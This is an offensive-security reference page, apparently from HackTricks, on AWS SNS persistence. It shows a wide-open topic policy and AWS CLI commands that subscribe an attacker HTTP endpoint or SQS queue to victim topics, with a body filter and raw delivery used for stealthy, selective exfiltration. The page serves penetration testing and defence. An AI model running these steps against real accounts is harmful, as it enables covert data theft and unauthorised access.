# AWS - SNS Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## SNS

For more information check:

{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}

### Persistence

When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:

```json
{
  "Version": "2008-10-17",
  "Id": "__default_policy_ID",
  "Statement": [
    {
      "Sid": "__default_statement_ID",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "SNS:Publish",
        "SNS:RemovePermission",
        "SNS:SetTopicAttributes",
        "SNS:DeleteTopic",
        "SNS:ListSubscriptionsByTopic",
        "SNS:GetTopicAttributes",
        "SNS:AddPermission",
        "SNS:Subscribe"
      ],
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
      "Condition": {
        "StringEquals": {
          "AWS:SourceOwner": "318142138553"
        }
      }
    },
    {
      "Sid": "__console_pub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Publish",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    },
    {
      "Sid": "__console_sub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Subscribe",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    }
  ]
}
```

### Create Subscribers

To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.

Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.

```bash
aws sns subscribe --region <region> \
    --protocol http \
    --notification-endpoint http://<attacker>/ \
    --topic-arn <arn>
```

### Covert, selective exfiltration via FilterPolicy on MessageBody

An attacker with `sns:Subscribe` and `sns:SetSubscriptionAttributes` on a topic can create a stealthy SQS subscription that only forwards messages whose JSON body matches a very narrow filter (for example, `{"secret":"true"}`). This reduces volume and detection while still exfiltrating sensitive records.

**Potential Impact**: Covert, low-noise exfiltration of only targeted SNS messages from a victim topic.

Steps (AWS CLI):
- Ensure the attacker SQS queue policy allows `sqs:SendMessage` from the victim `TopicArn` (Condition `aws:SourceArn` equals the `TopicArn`).
- Create SQS subscription to the topic:

  ```bash
  aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  ```

- Set the filter to operate on the message body and only match `secret=true`:

  ```bash
  aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
  aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  ```

- Optional stealth: enable raw delivery so only the raw payload lands in the receiver:

  ```bash
  aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  ```

- Validation: publish two messages and confirm only the first is delivered to the attacker queue. Example payloads:

  ```json
  {"secret":"true","data":"exfil"}
  {"secret":"false","data":"benign"}
  ```

- Cleanup: unsubscribe and delete the attacker SQS queue if created for persistence testing.

{{#include ../../../../banners/hacktricks-training.md}}
